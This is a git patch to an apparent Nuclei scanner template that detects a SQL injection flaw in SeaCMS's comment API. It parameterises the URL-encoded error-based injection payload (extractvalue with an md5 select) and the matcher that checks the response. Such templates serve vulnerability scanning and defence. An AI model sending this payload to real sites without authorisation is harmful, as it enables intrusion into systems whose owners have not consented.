From be8560b78838031d70001e1ddd3684a539906f03 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Thu, 30 Jun 2022 08:43:38 +0530 Subject: [PATCH] Update seacms-sqli.yaml --- vulnerabilities/other/seacms-sqli.yaml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/vulnerabilities/other/seacms-sqli.yaml b/vulnerabilities/other/seacms-sqli.yaml index 1eb29a5bc1..1245702c75 100644 --- a/vulnerabilities/other/seacms-sqli.yaml +++ b/vulnerabilities/other/seacms-sqli.yaml @@ -8,10 +8,13 @@ info: - https://www.uedbox.com/post/54561/ tags: seacms,sqli +variables: + num: "999999999" + requests: - method: GET path: - - "{{BaseURL}}/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5(202072102)))),@`%27`" + - "{{BaseURL}}/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5({{num}})))),@`%27`" redirects: true max-redirects: 2 @@ -20,7 +23,7 @@ requests: - type: word part: body words: - - "6f7c6dcbc380aac3bcba1f9fccec991e" + - '{{md5({{num}})}}' - type: status status: